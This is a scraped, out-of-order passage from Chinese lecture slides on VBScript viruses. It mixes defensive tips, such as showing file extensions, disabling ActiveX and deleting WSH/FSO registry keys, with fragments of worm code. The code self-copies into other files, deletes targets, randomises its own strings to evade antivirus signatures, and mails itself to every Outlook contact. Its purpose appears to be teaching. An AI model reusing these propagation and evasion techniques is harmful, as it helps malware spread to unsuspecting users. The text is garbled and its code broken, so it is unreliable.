第21講vbsvbs病毒(參考版)
2024-10-21 13:20本頁(yè)面
【正文】 2020/11/23 45 小結(jié) ?？ 2020/11/23 46 。 Windows默認(rèn)的是“隱藏已知文件類型的擴(kuò)展名稱”，將其修改為顯示所有文件類型的擴(kuò)展名稱。把“ ActiveX控件及插件”的一切設(shè)為禁用，這樣就 不怕了。 ?5）要徹底防治 VBS網(wǎng)絡(luò)蠕蟲(chóng)病毒，還需設(shè)置一下你的瀏覽器。 和上面的方法一樣，在注冊(cè)表中 HKEY_CLASSES_ROOT\CLSID\下找到一個(gè) {F935DC221CF011D0 ?ADB900C04FD58A0B}主鍵的項(xiàng)，刪除。 ?還有一種方法就是在注冊(cè)表中 HKEY_CLASSES_ROOT\CLSID\下找到一個(gè) {0D43FE01F09311CF ?894000A0C9054228}主鍵的項(xiàng)，刪除即可。其中 regsvr32是Windows\System下的 ?可執(zhí)行文件。 Chr((Int(Rnd * 22) + 65))) ’取 4個(gè)隨機(jī)字符替換數(shù)組 fS中的字符串 Next (me, 2, 1).Writeline vC ’將替換后的代碼寫(xiě)回文件 上面這段代碼使得該 VBS文件在每次運(yùn)行后，其 Of， vC， fS， fSC四字符串都會(huì)用隨機(jī)字符串來(lái)代 替，這在很大程度上可以防止反病毒軟件用特征值查毒法將其查出。 Chr((Int(Rnd * 22) + 65)) amp。在注冊(cè)表 HKEY_CLASSES_ROOT\CLSID\下我們可以找到這么一個(gè)主鍵，注冊(cè)表中對(duì)它他的說(shuō) 明是“ Windows Script Host Shell Object”，同樣，我們也可以找到，注冊(cè)表對(duì)它的說(shuō)明是“ FileSystem Object”，一般先要對(duì) COM進(jìn)行初始化，在獲取相應(yīng)的組件對(duì)象之后，病毒便可正確地使用 FSO、 WSH兩個(gè) 對(duì)象，調(diào)用它們的強(qiáng)大功能。 創(chuàng)建另外一個(gè)病毒文件（以 .vbs為后綴） ‘目標(biāo)文件 .delete(true) ‘刪除目標(biāo)文件 如何發(fā)送郵件 ?病毒可以通過(guò)各種方法拿到合法的 Email地址，最常見(jiàn)的就是直接取 outlook地址簿中的郵件地址： 2020/11/23 40 Function mailBroadcast() on error resume next Set outlookApp = CreateObject() //創(chuàng)建一個(gè) OUTLOOK應(yīng)用的對(duì)象 If outlookApp= Outlook Then Set mapiObj=(MAPI) //獲取 MAPI的名字空間 Set addrList= //獲取地址表的個(gè)數(shù) For Each addr In addrList If 0 Then addrEntCount = //獲取每個(gè)地址表的 Email記錄數(shù) For addrEntIndex= 1 To addrEntCount If 0 Then addrEntCount = //獲取每個(gè)地址表的 Email記錄數(shù) For addrEntIndex= 1 To addrEntCount //遍歷地址表的 Email地址 Set item = (0) 如何發(fā)送電子郵件 2020/11/23 41 //獲取一個(gè)郵件對(duì)象實(shí)例 Set addrEnt = (addrEntIndex) //獲取具體 Email地址 = //填入收信人地址 = 病毒傳播實(shí)驗(yàn) //寫(xiě)入郵件標(biāo)題 = 這里是病毒郵件傳播測(cè)試，收到此信請(qǐng)不要慌張！ //寫(xiě)入文件內(nèi)容 Set attachMents= //定義郵件附件 (0)amp。得到目標(biāo)文件路徑 (目標(biāo)文件 .path amp。 寫(xiě)打開(kāi)目標(biāo)文件，準(zhǔn)備寫(xiě)入病毒代碼 vbscopy 39。讀打開(kāi)當(dāng)前文件（即病毒本身） vbscopy= 39。 2020/11/23 38 對(duì)文件操作 ?VBS腳本病毒一般是直接通過(guò)自我復(fù)制來(lái)感染文件的，也可以把自己添加到其他文件（如html）里面執(zhí)行。 ?(5) 病毒源碼容易被獲取，變種多。 ?(4)傳播范圍廣。腳本是解釋執(zhí)行的。所以 vbs病毒擁有非常大的能力。由于它是明文的，一個(gè)對(duì)病毒毫無(wú)概念的人，都可以在非常短的時(shí)間內(nèi)編寫(xiě)出一個(gè) vbs ?病毒 ?(2) 破壞力大。 次。 End Sub Sub ChkLastWhile() Dim counter, myNum counter = 0 myNum = 9 Do myNum = myNum 1 counter = counter + 1 Loop While myNum 10 MsgBox 循環(huán)重復(fù)了 amp。 counter amp。在 ChkLastWhile 過(guò)程中，循環(huán)體中的語(yǔ)句只會(huì)執(zhí)行一次，因?yàn)闂l件在檢查時(shí)已經(jīng)為 False。有兩種方式檢查條件： ?在進(jìn)入循環(huán)之前檢查條件（如下面的 ChkFirstWhile 示例）； ?或者在循環(huán)至少運(yùn)行完一次之后檢查條件（如下面的 ChkLastWhile 示例）。當(dāng)條件為 True 時(shí)或條件變?yōu)? True 之前，重復(fù)執(zhí)行語(yǔ)句塊。 ?For Each...Next：對(duì)于集合中的每項(xiàng)或數(shù)組中的每個(gè)元素，重復(fù)執(zhí)行一組語(yǔ)句。 ?While...Wend： 當(dāng)條件為 True 時(shí)循環(huán)。循環(huán)可分為三類： ?一類在條件變?yōu)? False 之前重復(fù)執(zhí)行語(yǔ)句
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號(hào)-1